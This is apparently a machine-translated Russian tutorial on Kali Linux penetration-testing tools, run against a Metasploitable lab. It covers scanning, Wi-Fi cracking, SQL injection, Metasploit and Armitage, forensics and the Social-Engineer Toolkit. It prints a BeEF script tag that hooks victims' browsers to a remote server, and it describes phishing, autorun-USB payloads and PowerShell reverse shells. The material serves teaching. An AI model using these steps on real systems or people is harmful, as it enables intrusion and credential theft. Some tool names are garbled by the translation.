Kali Linux - Краткое руководство

Kali Linux - один из лучших пакетов безопасности для этичного хакера, содержащий набор инструментов, разделенных по категориям. Это открытый исходный код, и его официальная веб-страницаhttps://www.kali.org.

Как правило, Kali Linux может быть установлен на машине как операционная система, как виртуальная машина, которую мы обсудим в следующем разделе. Установка Kali Linux - это практичный вариант, поскольку он предоставляет больше возможностей для работы и комбинирования инструментов. Вы также можете создать live boot CD или USB. Все это можно найти по следующей ссылке:https://www.kali.org/downloads/

BackTrackбыла старая версия дистрибутива Kali Linux. Последний выпуск - Kali 2016.1, и он очень часто обновляется.

Чтобы установить Kali Linux -

  • Сначала мы загрузим Virtual Box и установим его.
  • Позже мы скачаем и установим дистрибутив Kali Linux.

Загрузите и установите Virtual Box

Virtual Box особенно полезен, когда вы хотите протестировать что-то в Kali Linux, в чем вы не уверены. Запуск Kali Linux на Virtual Box безопасен, если вы хотите поэкспериментировать с неизвестными пакетами или протестировать код.

С помощью Virtual Box вы можете установить Kali Linux в свою систему (не прямо на жесткий диск) вместе с основной ОС, которая может быть MAC, Windows или другой разновидностью Linux.

Давайте разберемся, как вы можете загрузить и установить Virtual Box в своей системе.

Step 1 - Для загрузки перейдите в https://www.virtualbox.org/wiki/Downloads. В зависимости от вашей операционной системы выберите правильный пакет. В этом случае он будет первым для Windows, как показано на следующем снимке экрана.

Step 2 - Щелкните Next.

Step 3- На следующей странице вы сможете выбрать место, где вы хотите установить приложение. В этом случае оставим это значение по умолчанию и нажмемNext.

Step 4 - Щелкните Next и следующие Custom Setupпоявляется скриншот. Выберите компоненты, которые вы хотите установить, и нажмите Далее.

Step 5 - Щелкните Yes чтобы продолжить установку.

Step 6 - The Ready to Installэкран всплывает. Щелкните Установить.

Step 7 - Щелкните значок Finish кнопка.

Приложение Virtual Box откроется, как показано на следующем снимке экрана. Теперь мы готовы установить остальные хосты для этого руководства, и это также рекомендуется для профессионального использования.

Установите Kali Linux

Теперь, когда мы успешно установили Virtual Box, перейдем к следующему шагу и установим Kali Linux.

Step 1 - Загрузите пакет Kali Linux с официального сайта: https://www.kali.org/downloads/

Step 2 - Щелкните VirtualBox → New как показано на следующем снимке экрана.

Step 3 - Выбери правильный virtual hard disk file и нажмите Open.

Step 4- Появится следующий снимок экрана. Щелкните значокCreate кнопка.

Step 5- Запустите Kali OS. Имя пользователя по умолчанию:root и пароль toor.

Обновите Kali

Важно постоянно обновлять Kali Linux и его инструменты до новых версий, чтобы они оставались функциональными. Ниже приведены шаги по обновлению Kali.

Step 1- Перейдите в Приложение → Терминал. Затем введите «apt-get update», и обновление произойдет, как показано на следующем снимке экрана.

Step 2 - Теперь, чтобы обновить инструменты, введите «apt-get upgrade», и новые пакеты будут загружены.

Step 3- Он спросит, хотите ли вы продолжить. Тип“Y” и “Enter”.

Step 4 - Чтобы перейти на более новую версию операционной системы, введите “apt-get distupgrade”.

Установка лаборатории

В этом разделе мы настроим еще одну тестовую машину для выполнения тестов с помощью инструментов Kali Linux.

Step 1 - Скачать Metasploitable, который является машиной Linux. Его можно скачать с официального сайтаRapid7: https://information.rapid7.com/metasploitabledownload.html?LS=1631875&CS=web

Step 2- Зарегистрируйтесь, указав свои данные. Заполнив форму выше, мы можем скачать программное обеспечение.

Step 3 - Щелкните VirtualBox → New.

Step 4 - Щелкните “Use an existing virtual hard disk file”. Просмотрите файл, в который вы скачалиMetasploitable и нажмите Open.

Step 5- Появится экран для создания виртуальной машины. Щелкните «Создать».

Имя пользователя по умолчанию: msfadmin и пароль msfadmin.

В этой главе мы обсудим инструменты сбора информации Kali Linux.

NMAP и ZenMAP

NMAP и ZenMAP - полезные инструменты для фазы сканирования этического взлома в Kali Linux. NMAP и ZenMAP - это практически один и тот же инструмент, однако NMAP использует командную строку, а ZenMAP имеет графический интерфейс.

NMAP - это бесплатный служебный инструмент для обнаружения сети и аудита безопасности. Многие системные и сетевые администраторы также считают его полезным для таких задач, как инвентаризация сети, управление графиками обновления служб и мониторинг времени безотказной работы хоста или службы.

NMAP использует необработанные IP-пакеты по-новому, чтобы определить, какие хосты доступны в сети, какие услуги (имя и версия приложения) эти хосты предлагают, какие операционные системы (и версии ОС) на них работают, какой тип фильтров пакетов / брандмауэров используются и т. д.

Теперь давайте пойдем шаг за шагом и узнаем, как использовать NMAP и ZenMAP.

Step 1 - Чтобы открыть, перейдите в Приложения → 01-Сбор информации → nmap или zenmap.

Step 2- Следующим шагом является определение типа / версии ОС целевого хоста. На основании справки, указанной в NMAP, параметром определения типа / версии ОС является переменная «-O». Для получения дополнительной информации используйте эту ссылку:https://nmap.org/book/man-os-detection.html

Команда, которую мы будем использовать, -

nmap -O 192.168.1.101

На следующем снимке экрана показано, где вам нужно ввести указанную выше команду, чтобы увидеть вывод Nmap.

Step 3- Затем откройте порты TCP и UDP. Чтобы просканировать все TCP-порты на основе NMAP, используйте следующую команду -

nmap -p 1-65535 -T4  192.168.1.101

Параметр –p указывает все TCP-порты, которые необходимо просканировать. В этом случае мы сканируем все порты, а «-T4» - это скорость сканирования, с которой должен работать протокол NMAP.

Ниже приведены результаты. Зеленым цветом показаны все открытые порты TCP, а красным - все закрытые порты. Однако NMAP не отображается, так как список слишком длинный.

Скрытое сканирование

Скрытое сканирование или SYN также известно как half-open scan, поскольку он не завершает трехстороннее рукопожатие TCP. Хакер отправляет целевой SYN-пакет; если фрейм SYN / ACK получен обратно, предполагается, что цель завершит соединение, а порт прослушивает. Если от цели получен RST, предполагается, что порт не активен или закрыт.

Теперь, чтобы увидеть SYN-сканирование на практике, воспользуйтесь параметром –sSв NMAP. Ниже приводится полная команда -

nmap -sS -T4 192.168.1.101

На следующем снимке экрана показано, как использовать эту команду -

Searchsploit

Searchsploit - это инструмент, который помогает пользователям Kali Linux напрямую выполнять поиск с помощью командной строки из архива базы данных Exploit.

Чтобы открыть его, перейдите в Приложения → 08-Инструменты эксплуатации → searchsploit, как показано на следующем снимке экрана.

После открытия терминала введите "searchsploit exploit index name".

Инструменты DNS

В этом разделе мы узнаем, как использовать некоторые инструменты DNS, встроенные в Kali. По сути, эти инструменты помогают в переносе зоны или решении проблем IP домена.

dnsenum.pl

Первый инструмент dnsenum.pl который представляет собой сценарий PERL, который помогает подключать записи MX, A и другие к домену.

Щелкните терминал на левой панели.

Тип “dnsenum domain name”и будут показаны все записи. В этом случае отображаются записи A.

DNSMAP

Второй инструмент DNSMAPкоторый помогает найти телефонные номера, контакты и другие поддомены, связанные с этим доменом, который мы ищем. Ниже приводится пример.

Щелкните терминал, как в верхнем разделе, затем напишите “dnsmap domain name”

dnstracer

Третий инструмент - dnstracer, который определяет, откуда данный сервер доменных имен (DNS) получает информацию для данного имени хоста.

Щелкните терминал, как в верхнем разделе, затем введите “dnstracer domain name”.

LBD Инструменты

Инструменты LBD (Load Balancing Detector) очень интересны, поскольку они определяют, использует ли данный домен балансировку нагрузки DNS и / или HTTP. Это важно, потому что, если у вас два сервера, один или другой может не обновляться, и вы можете попытаться использовать его. Ниже приведены шаги по его использованию -

Сначала щелкните терминал на левой панели.

Затем введите “lbd domainname”. Если он дает результат «НАЙДЕН», это означает, что на сервере имеется балансировка нагрузки. В этом случае результат будет «НЕ НАЙДЕН».

Hping3

Hping3 широко используется этическими хакерами. Он почти аналогичен инструментам ping, но является более продвинутым, поскольку может обходить фильтр межсетевого экрана и использовать протоколы TCP, UDP, ICMP и RAW-IP. Он имеет режим трассировки и возможность отправлять файлы между закрытым каналом.

Щелкните терминал на левой панели.

Тип “hping3 –h” который покажет, как использовать эту команду.

Другая команда “hping3 domain or IP -parameter”

В этой главе мы узнаем, как использовать некоторые инструменты, которые помогают нам использовать устройства или приложения для получения доступа.

Инструменты Cisco

Kali имеет некоторые инструменты, которые можно использовать для эксплуатации маршрутизатора Cisco. Одним из таких инструментов являетсяCisco-torch который используется для массового сканирования, снятия отпечатков пальцев и эксплуатации.

Давайте откроем консоль терминала, щелкнув левую панель.

Затем введите “cisco-torch –parameter IP of host” и если ничего не найдено для использования, то будет показан следующий результат.

Чтобы узнать, какие параметры можно использовать, введите “cisco-torch ?”

Инструмент аудита Cisco

Это сценарий PERL, который сканирует маршрутизаторы Cisco на предмет распространенных уязвимостей. Чтобы использовать его, снова откройте терминал на левой панели, как показано в предыдущем разделе, и введите“CAT –h hostname or IP”.

Вы можете добавить параметр порта “-p” как показано на следующем снимке экрана, который в данном случае равен 23 для его грубой силы.

Cisco Global Exploiter

Cisco Global Exploiter (CGE) - это продвинутый, простой и быстрый инструмент для тестирования безопасности. С помощью этих инструментов вы можете выполнять несколько типов атак, как показано на следующем снимке экрана. Однако будьте осторожны при тестировании в реальной среде, так как некоторые из них могут привести к сбою устройства Cisco. Например, опция

может остановить службы.

Чтобы использовать этот инструмент, введите «cge.pl IPaddress количество уязвимостей »

На следующем снимке экрана показан результат теста, выполненного на маршрутизаторе Cisco для уязвимости номер 3 из списка выше. Результат показывает, что уязвимость была успешно использована.

ПОСТЕЛЬ

BED - это программа, предназначенная для проверки демонов на возможное переполнение буфера, форматных строк и т. Д. al.

В этом случае мы протестируем тестовую машину с IP. 192.168.1.102 и протокол HTTP.

Команда будет “bed –s HTTP –t 192.168.1.102” и тестирование будет продолжено.

В этой главе мы узнаем, как использовать инструменты взлома Wi-Fi, встроенные в Kali Linux. Однако важно, чтобы беспроводная карта, которую вы используете, поддерживала режим мониторинга.

Папоротник Wifi Cracker

Взломщик Fern Wifi - один из инструментов Kali для взлома беспроводных сетей.

Перед тем, как открыть Fern, мы должны перевести беспроводную карту в режим мониторинга. Для этого введите“airmon-ng start wlan-0” в терминале.

Теперь откройте Fern Wireless Cracker.

Step 1 - Приложения → Нажмите «Беспроводные атаки» → «Fern Wireless Cracker».

Step 2 - Выберите беспроводную карту, как показано на следующем снимке экрана.

Step 3 - Щелкните «Поиск точек доступа».

Step 4- После завершения сканирования отобразятся все найденные беспроводные сети. В этом случае были обнаружены только «сети WPA».

Step 5- Щелкните сети WPA, как показано на скриншоте выше. Показывает все найденные беспроводные сети. Как правило, в сетях WPA он выполняет атаки по словарю как таковые.

Step 6 - Нажмите «Обзор» и найдите список слов для атаки.

Step 7 - Нажмите «Атака Wi-Fi».

Step 8 - После завершения атаки по словарю он нашел пароль, и он будет отображаться, как показано на следующем снимке экрана.

Кисмет

Kismet - это инструмент для анализа сети Wi-Fi. Это детектор беспроводной сети уровня 2 802.11, сниффер и система обнаружения вторжений. Он будет работать с любой беспроводной картой, которая поддерживает режим прямого мониторинга (rfmon), и может прослушивать трафик 802.11a / b / g / n. Он идентифицирует сети, собирая пакеты, а также скрытые сети.

Чтобы использовать его, переведите беспроводную карту в режим мониторинга и для этого введите “airmon-ng start wlan-0” в терминале.

Давайте узнаем, как пользоваться этим инструментом.

Step 1 - Чтобы запустить его, откройте терминал и наберите «кисмет».

Step 2 - Нажмите «ОК».

Step 3- Нажмите «Да», когда появится запрос на запуск Kismet Server. В противном случае он перестанет работать.

Step 4- Параметры запуска оставьте по умолчанию. Щелкните «Пуск».

Step 5- Теперь появится таблица с просьбой определить беспроводную карту. В таком случае нажмите Да.

Step 6 - В этом случае беспроводной источник “wlan0”. Это надо будет написать в разделе“Intf” → нажмите «Добавить».

Step 7 - Он начнет обнюхивать сети Wi-Fi, как показано на следующем снимке экрана.

Step 8 - Щелкните любую сеть, появится информация о беспроводной сети, как показано на следующем снимке экрана.

ГИСКисмет

GISKismet - это беспроводной инструмент визуализации для практического представления данных, собранных с помощью Kismet. GISKismet хранит информацию в базе данных, поэтому мы можем запрашивать данные и создавать графики с помощью SQL. GISKismet в настоящее время использует SQLite для базы данных и файлы GoogleEarth / KML для построения графиков.

Давайте узнаем, как пользоваться этим инструментом.

Step 1 - Чтобы открыть GISKismet, перейдите в: Приложения → Нажмите «Беспроводные атаки» → giskismet.

Как вы помните в предыдущем разделе, мы использовали инструмент Kismet для исследования данных о беспроводных сетях и всех этих данных, которые Kismet упаковывает в файлы netXML.

Step 2 - Чтобы импортировать этот файл в Giskismet, введите «root @ kali: ~ # giskismet -x Kismetfilename.netxml», и он начнет импорт файлов.

После импорта мы можем импортировать их в Google Планета Земля из найденных ранее горячих точек.

Step 3 - Предполагая, что мы уже установили Google Планета Земля, мы нажимаем Файл → Открыть файл, созданный Giskismet → Нажмите «Открыть».

Будет отображена следующая карта.

Призрачный фишер

Ghost Phisher - популярный инструмент, который помогает создавать поддельные точки беспроводного доступа, а затем создавать атаку Man-in-The-Middle-Attack.

Step 1 - Чтобы открыть его, выберите Приложения → Беспроводные атаки → «Призрачный фишинг».

Step 2 - После его открытия мы настроим поддельную точку доступа, используя следующие данные.

  • Вход беспроводного интерфейса: wlan0
  • SSID: имя беспроводной точки доступа
  • IP-адрес: IP-адрес точки доступа.
  • WAP: пароль, который будет иметь этот SSID для подключения

Step 3 - Щелкните значок Start кнопка.

Wifite

Это еще один инструмент беспроводного щелчка, который атакует несколько сетей с шифрованием WEP, WPA и WPS подряд.

Во-первых, беспроводная карта должна находиться в режиме мониторинга.

Step 1 - Чтобы открыть его, перейдите в Приложения → Беспроводная атака → Wifite.

Step 2 - Тип "wifite –showb"сканировать сети.

Step 3 - Чтобы начать атаку беспроводных сетей, нажмите Ctrl + C.

Step 4 - Введите «1», чтобы взломать первую беспроводную сеть.

Step 5 - После завершения атаки ключ будет найден.

В этой главе мы узнаем о тестировании на проникновение веб-сайтов, предлагаемом Kali Linux.

Использование Vega

Vega - это бесплатный сканер и платформа для тестирования с открытым исходным кодом для проверки безопасности веб-приложений. Vega может помочь вам найти и проверить SQL-инъекцию, межсайтовый скриптинг (XSS), непреднамеренно раскрытую конфиденциальную информацию и другие уязвимости. Он написан на Java, основан на графическом интерфейсе пользователя и работает в Linux, OS X и Windows.

Vega включает автоматический сканер для быстрых тестов и перехватывающий прокси для тактической проверки. Vega может быть расширена с помощью мощного API на языке Интернета: JavaScript. Официальная веб-страницаhttps://subgraph.com/vega/

Step 1 - Чтобы открыть Vega, перейдите в Приложения → 03-Анализ веб-приложений → Vega.

Step 2 - Если вы не видите приложение в пути, введите следующую команду.

Step 3 - Чтобы начать сканирование, щелкните значок «+».

Step 4- Введите URL-адрес веб-страницы, которая будет сканироваться. В данном случае это метапроизводственная машина → нажмите «Далее».

Step 5- Установите все флажки модулей, которыми вы хотите управлять. Затем нажмите «Далее».

Step 6 - Еще раз нажмите «Далее» на следующем снимке экрана.

Step 7 - Нажмите «Готово».

Step 8 - Если появится следующая таблица, нажмите «Да».

Сканирование продолжится, как показано на следующем снимке экрана.

Step 9- После завершения сканирования на левой нижней панели вы можете увидеть все результаты, которые классифицированы в соответствии с серьезностью. Если вы нажмете на нее, вы увидите все детали уязвимостей на правой панели, такие как «Запрос», «Обсуждение», «Воздействие» и «Устранение».

ZapProxy

ZAP-OWASP Zed Attack Proxy - это простой в использовании интегрированный инструмент тестирования на проникновение для поиска уязвимостей в веб-приложениях. Это интерфейс Java.

Step 1 - Чтобы открыть ZapProxy, перейдите в Приложения → 03-Анализ веб-приложений → owaspzap.

Step 2 - Нажмите «Принять».

ZAP начнет загружаться.

Step 3 - Выберите один из вариантов, как показано на следующем снимке экрана, и нажмите «Пуск».

Следующая сеть является метаиспользуемой с IP: 192.168.1.101

Step 4 - Введите URL-адрес тестовой сети в «URL-адрес для атаки» → нажмите «Атака».

После завершения сканирования в верхней левой панели вы увидите все просканированные сайты.

На левой панели «Предупреждения» вы увидите все выводы вместе с описанием.

Step 5 - Нажмите «Паук», и вы увидите все отсканированные ссылки.

Использование инструментов базы данных

sqlmap

sqlmap - это инструмент тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и использования недостатков SQL-инъекций и захвата серверов баз данных. Он поставляется с мощным механизмом обнаружения, множеством нишевых функций для окончательного тестера на проникновение и широким спектром переключателей, от снятия отпечатков с базы данных до выборки данных из базы данных до доступа к базовой файловой системе и выполнения команд в операционной системе через выход внеполосные соединения.

Давайте узнаем, как использовать sqlmap.

Step 1 - Чтобы открыть sqlmap, перейдите в Приложения → 04-Оценка базы данных → sqlmap.

Веб-страница, имеющая параметры, уязвимые для SQL-инъекции, является метаплавиальной.

Step 2 - Чтобы начать тестирование SQL-инъекции, введите “sqlmap – u URL of victim”

Step 3 - По результатам вы увидите, что некоторые переменные уязвимы.

sqlninja

sqlninja - это SQL-инъекция на Microsoft SQL Server для полного доступа к графическому интерфейсу. sqlninja - это инструмент, предназначенный для использования уязвимостей SQL Injection в веб-приложении, использующем Microsoft SQL Server в качестве серверной части. Полную информацию об этом инструменте можно найти наhttp://sqlninja.sourceforge.net/

Step 1 - Чтобы открыть sqlninja, перейдите в Приложения → 04-Оценка базы данных → sqlninja.

Инструменты сканирования CMS

WPScan

WPScan - это сканер уязвимостей WordPress черного ящика, который можно использовать для сканирования удаленных установок WordPress для поиска проблем с безопасностью.

Step 1 - Чтобы открыть WPscan, перейдите в Приложения → 03-Анализ веб-приложений → «wpscan».

Появится следующий снимок экрана.

Step 2 - Чтобы просканировать сайт на наличие уязвимостей, введите “wpscan –u URL of webpage”.

Если сканер не обновляется, он попросит вас обновить. Я рекомендую это сделать.

Как только сканирование начнется, вы увидите результаты. На следующем снимке экрана уязвимости обозначены красной стрелкой.

Joomscan

Joomla, вероятно, является наиболее широко используемой CMS благодаря своей гибкости. Для этой CMS это сканер Joomla. Это поможет веб-разработчикам и веб-мастерам определить возможные слабые места в безопасности на их развернутых сайтах Joomla.

Step 1 - Чтобы открыть его, просто нажмите на левую панель терминала, затем “joomscan – parameter”.

Step 2 - Чтобы получить справку по типу использования “joomscan /?”

Step 3 - Чтобы начать сканирование, введите «joomscan –u URL жертвы».

Результаты будут отображаться, как показано на следующем снимке экрана.

Инструменты сканирования SSL

TLSSLed- это сценарий оболочки Linux, используемый для оценки безопасности реализации целевого веб-сервера SSL / TLS (HTTPS). Он основан на sslscan, полномасштабном сканере SSL / TLS, основанном на библиотеке openssl, и на“openssl s_client” инструмент командной строки.

Текущие тесты включают в себя проверку того, поддерживает ли цель протокол SSLv2, нулевой шифр, слабые шифры на основе длины их ключа (40 или 56 бит), наличие надежных шифров (например, AES), если цифровой сертификат подписан MD5, и текущие возможности повторного согласования SSL / TLS.

Чтобы начать тестирование, откройте терминал и введите “tlssled URL port“. Он начнет тестировать сертификат для поиска данных.

Вы можете видеть из вывода, что сертификат действителен до 2018 года, как показано зеленым на следующем снимке экрана.

w3af

w3af - это платформа для атак и аудита веб-приложений, которая направлена ​​на выявление и использование всех уязвимостей веб-приложений. Этот пакет предоставляет графический интерфейс пользователя (GUI) для платформы. Если вам нужно только приложение командной строки, установите w3af-console.

Фреймворк получил название «metasploit for the web», но на самом деле это гораздо больше, поскольку он также обнаруживает уязвимости веб-приложений с помощью методов сканирования черного ящика. Ядро w3af и его плагины полностью написаны на Python. В проекте есть более 130 плагинов, которые идентифицируют и используют SQL-инъекцию, межсайтовый скриптинг (XSS), удаленное включение файлов и многое другое.

Step 1 - Чтобы открыть его, перейдите в Приложения → 03-Анализ веб-приложений → Щелкните w3af.

Step 2 - В поле «Target» введите URL-адрес жертвы, который в этом случае будет метаиспользуемым веб-адресом.

Step 3 - Выберите профиль → Нажмите «Пуск».

Step 4 - Перейдите в «Результаты», и вы увидите результат с подробностями.

В этой главе мы узнаем о различных инструментах эксплуатации, предлагаемых Kali Linux.

Metasploit

Как мы упоминали ранее, Metasploit является продуктом Rapid7, и большинство ресурсов можно найти на их веб-странице www.metasploit.com . Он доступен в двух версиях - коммерческой и бесплатной. Различия между этими двумя версиями невелики, поэтому в этом случае мы будем использовать версию от сообщества (бесплатную).

Как этический хакер, вы будете использовать Kali Ditribution, в которую встроена версия сообщества Metasploit, а также другие этические хакерские инструменты, которые очень удобны, так как экономят время на установку. Однако, если вы хотите установить как отдельный инструмент, это приложение, которое можно установить в операционных системах, таких как Linux, Windows и OS X.

Сначала откройте консоль Metasploit в Kali. Затем перейдите в Приложения → Инструменты эксплуатации → Metasploit.

После его запуска вы увидите следующий экран, на котором версия Metasploit подчеркнута красным.

В консоли, если использовать справку или? символ, он покажет вам список с командами MSP вместе с их описанием. Вы можете выбрать, исходя из ваших потребностей и того, что вы будете использовать.

Еще одна важная административная команда: msfupdateкоторый помогает обновить metasploit последними эксплойтами уязвимостей. После выполнения этой команды в консоли вам придется подождать несколько минут до завершения обновления.

У него есть хорошая команда под названием «Поиск», которую вы можете использовать, чтобы найти то, что вам нужно, как показано на следующем снимке экрана. Например, я хочу найти эксплойты, связанные с Microsoft, и команда может бытьmsf >search name:Microsoft type:exploit.

Где «search» - это команда, «name» - это имя объекта, который мы ищем, а «type» - это тип сценария, который мы ищем.

Другая команда - «информация». Он предоставляет информацию о модуле или платформе, где он используется, кто является автором, справкой об уязвимости и ограничением полезной нагрузки, которое может иметь это.

Армитаж

Графический интерфейс Armitage для metasploit является дополнительным инструментом для metasploit. Он визуализирует цели, рекомендует эксплойты и предоставляет расширенные возможности после эксплуатации.

Давайте откроем его, но сначала нужно открыть и запустить консоль metasploit. Чтобы открыть Armitage, перейдите в Приложения → Инструменты для эксплойтов → Armitage.

Щелкните значок Connect кнопку, как показано на следующем снимке экрана.

Когда он откроется, вы увидите следующий экран.

Армитаж удобен в использовании. В области «Цели» перечислены все машины, которые вы обнаружили и с которыми работаете, взломанные цели имеют красный цвет с грозой.

После того, как вы взломали цель, вы можете щелкнуть по ней правой кнопкой мыши и продолжить изучение с помощью того, что вам нужно сделать, например, изучения (просмотра) папок.

В следующем графическом интерфейсе вы увидите представление для папок, которое называется консолью. Просто щелкнув папки, вы можете перемещаться по папкам без использования команд metasploit.

В правой части графического интерфейса находится раздел, в котором перечислены модули уязвимостей.

BeEF

BeEF означает Browser Exploitation Framework. Это инструмент тестирования на проникновение, который ориентирован на веб-браузер. BeEF позволяет профессиональному тестеру на проникновение оценить фактическое состояние безопасности целевой среды, используя векторы атак на стороне клиента.

Во-первых, вам нужно обновить пакет Kali, используя следующие команды:

root@kali:/# apt-get update  
root@kali:/# apt-get install beef-xss

Для начала используйте следующую команду -

root@kali:/# cd /usr/share/beef-xss  
root@kali:/# ./beef

Откройте браузер и введите логин и пароль: beef.

Хук BeEF - это файл JavaScript, размещенный на сервере BeEF, который должен запускаться в клиентских браузерах. Когда это происходит, он обращается к серверу BeEF, передавая много информации о цели. Это также позволяет запускать дополнительные команды и модули против цели. В этом примере расположениеBeEF крючок на http://192.168.1.101:3000/hook.js.

Чтобы атаковать браузер, включите перехватчик JavaScript на странице, которую будет просматривать клиент. Есть несколько способов сделать это, но самый простой - вставить следующее на страницу и каким-то образом заставить клиента открыть ее.

<script src = "http://192.168.1.101:3000/hook.js" type = "text/javascript"></script>

После загрузки страницы вернитесь в панель управления BeEF и нажмите «Онлайн-браузеры» в левом верхнем углу. Через несколько секунд вы должны увидеть всплывающее окно с вашим IP-адресом, представляющее подключенный браузер. При наведении курсора на IP-адрес можно быстро получить такую ​​информацию, как версия браузера, операционная система и установленные плагины.

Чтобы удаленно запустить команду, щелкните «Собственный» хост. Затем в команде щелкните модуль, который вы хотите выполнить, и, наконец, щелкните «Выполнить».

Советчик эксплойтов Linux

Предлагает возможные эксплойты с учетом версии выпуска ‘uname -r’ операционной системы Linux.

Чтобы запустить его, введите следующую команду -

root@kali:/usr/share/linux-exploit-suggester# ./Linux_Exploit_Suggester.pl -k 3.0.0

3.0.0 это версия ядра ОС Linux, которую мы хотим использовать.

В этой главе мы узнаем об инструментах криминалистики, доступных в Kali Linux.

p0f

p0f- это инструмент, который может идентифицировать операционную систему целевого хоста, просто проверяя перехваченные пакеты, даже если соответствующее устройство находится за межсетевым экраном пакетов. P0f не создает никакого дополнительного сетевого трафика, прямого или косвенного; без поиска имени; никаких загадочных зондов; нет запросов ARIN; ничего. В руках опытных пользователей P0f может обнаруживать наличие межсетевого экрана, использование NAT и наличие балансировщиков нагрузки.

Тип “p0f – h” в терминале, чтобы увидеть, как его использовать, и вы получите следующие результаты.

В нем будут перечислены даже доступные интерфейсы.

Затем введите следующую команду: “p0f –i eth0 –p -o filename”.

Где параметр "-i" - это имя интерфейса, как показано выше. "-p" означает, что он находится в беспорядочном режиме. "-o" означает, что результат будет сохранен в файле.

Откройте веб-страницу с адресом 192.168.1.2

Из результатов можно заметить, что веб-сервер использует apache 2.x, а ОС - Debian.

pdf-парсер

pdf-parser - это инструмент, который анализирует PDF-документ для определения основных элементов, используемых в анализируемом PDF-файле. Он не будет отображать PDF-документ. Его не рекомендуется использовать в учебниках для парсеров PDF, однако он выполняет свою работу. Как правило, он используется для файлов PDF, в которые, как вы подозреваете, встроен скрипт.

Команда -

pdf-parser  -o 10 filepath

где "-o" - количество объектов.

Как вы можете видеть на следующем снимке экрана, файл pdf открывает команду CMD.

Dumpzilla

Приложение Dumpzilla разработано на Python 3.x и предназначено для извлечения всей криминалистической интересной информации браузеров Firefox, Iceweasel и Seamonkey для анализа.

ddrescue

Он копирует данные из одного файла или блочного устройства (жесткого диска, компакт-диска и т. Д.) В другой, пытаясь сначала спасти хорошие части в случае ошибок чтения.

Основная операция ddrescue полностью автоматическая. То есть вам не нужно ждать ошибки, останавливать программу, перезапускать ее с новой позиции и т. Д.

Если вы используете функцию ddrescue mapfile, данные спасаются очень эффективно (считываются только необходимые блоки). Кроме того, вы можете в любой момент прервать спасательную операцию и возобновить ее позже в тот же момент. Файл карты - важная часть эффективности ddrescue. Используйте его, если не знаете, что делаете.

Командная строка -

dd_rescue infilepath  outfilepath

Параметр "–v" означает многословный. "/dev/sdb"это папка, которую нужно спасти. Вimg file это восстановленное изображение.

DFF

Это еще один инструмент судебной экспертизы, используемый для восстановления файлов. У него тоже есть графический интерфейс. Чтобы открыть его, введите“dff-gui” в терминале, и откроется следующий веб-интерфейс.

Щелкните Файл → «Открыть доказательства».

Откроется следующая таблица. Отметьте «Raw format» и нажмите «+», чтобы выбрать папку, которую вы хотите восстановить.

Затем вы можете просмотреть файлы в левой части панели, чтобы увидеть, что было восстановлено.

В этой главе мы узнаем об инструментах социальной инженерии, используемых в Kali Linux.

Использование инструментария социальной инженерии

В Social-Engineer Toolkit(SET) - это платформа для тестирования на проникновение с открытым исходным кодом, разработанная для социальной инженерии. SET имеет несколько настраиваемых векторов атаки, которые позволяют вам провести правдоподобную атаку за короткий промежуток времени. Подобные инструменты используют человеческое поведение, чтобы обмануть их в векторах атаки.

Давайте узнаем, как использовать набор инструментов социального инженера.

Step 1 - Чтобы открыть SET, перейдите в Приложения → Инструменты социальной инженерии → Нажмите «SET» Инструмент социальной инженерии.

Step 2- Он спросит, согласны ли вы с условиями использования. Тип“y” как показано на следующем снимке экрана.

Step 3 - Большинство меню, показанных на следующем снимке экрана, самоочевидны, и среди них наиболее важным является номер 1 «Атаки социальной инженерии».

Step 4 - Тип “1”→ Enter. Откроется подменю. Если вы нажметеEnter снова, вы увидите объяснения для каждого подменю.

Модуль Spear-phishing позволяет специально создавать электронные сообщения и отправлять их целевым жертвам с прикрепленными FileFormatmaliciousполезные нагрузки. Например, отправка вредоносного PDF-документа, который, если жертва открывает, компрометирует систему. Если вы хотите подделать свой адрес электронной почты, убедитесь, что «Sendmail» установлен (apt-get install sendmail) и измените флаг config / set_config SENDMAIL = OFF на SENDMAIL = ON.

Существует два варианта целевой фишинг-атаки:

  • Выполните массовую атаку по электронной почте
  • Создание полезной нагрузки FileFormat и шаблона социальной инженерии

Первый позволяет SET делать все за вас (вариант 1), второй - создавать собственные полезные данные FileFormat и использовать их в своей атаке.

Тип “99” чтобы вернуться в главное меню, а затем введите “2” перейти в «Векторы веб-атак».

Модуль веб-атаки - это уникальный способ использования нескольких веб-атак для компрометации предполагаемой жертвы. Этот модуль используется для выполнения фишинговых атак против жертвы, если она щелкает ссылку. При переходе по ссылке может произойти множество атак.

Тип “99” чтобы вернуться в главное меню, а затем введите “3”.

Заразительный модуль USB / CD / DVD создаст файл autorun.inf и полезную нагрузку Metasploit. Файл полезной нагрузки и автозапуска записывается или копируется на USB. Когда DVD / USB / CD вставлен в машину жертвы, он запускает функцию автозапуска (если автозапуск включен) и, надеюсь, компрометирует систему. Вы можете выбрать вектор атаки, который хотите использовать: ошибки формата файла или простой исполняемый файл.

Ниже приведены параметры генератора инфекционных носителей.

  • Эксплойты файлового формата
  • Стандартный исполняемый файл Metasploit

Тип “99”чтобы вернуться в главное меню. Затем введите“4” перейти в «Векторы веб-атак».

Создание полезных данных и слушателя - это простой способ создать полезные данные Metasploit. Он экспортирует exe-файл и сгенерирует слушателя. Вам нужно будет убедить жертву загрузить exe-файл и запустить его, чтобы получить оболочку.

Тип “99” чтобы вернуться в главное меню, а затем введите “5” перейти в «Векторы веб-атак».

Массовая атака почтовой программы позволит вам отправлять несколько электронных писем жертвам и настраивать сообщения. В массовой электронной почте есть два варианта; первый - отправить электронное письмо на один адрес электронной почты. Второй вариант позволяет вам импортировать список, в котором есть все электронные письма получателей, и он отправит ваше сообщение любому количеству людей в этом списке.

  • Единый адрес электронной почты для атаки на электронную почту
  • Массовая рассылка атак на электронную почту

Тип “99” чтобы вернуться в главное меню, а затем введите “9” перейти в «Вектор атаки Powershell».

Модуль Powershell Attack Vector позволяет создавать атаки, специфичные для PowerShell. Эти атаки позволяют использовать PowerShell, который по умолчанию доступен во всех операционных системах Windows Vista и выше. PowerShell обеспечивает благоприятную среду для развертывания полезных нагрузок и выполнения функций, которые не запускаются превентивными технологиями.

  • Инжектор буквенно-цифрового шелл-кода Powershell
  • Оболочка Powershell Reverse Shell
  • Оболочка привязки Powershell
  • База данных Powershell Dump SAM

Стресс-инструменты используются для создания DoS-атак или для создания стресс-тестов для различных приложений, чтобы принять соответствующие меры в будущем.

Все инструменты стресс-тестирования находятся в Приложения → 02-Анализ уязвимостей → Стресс-тестирование.

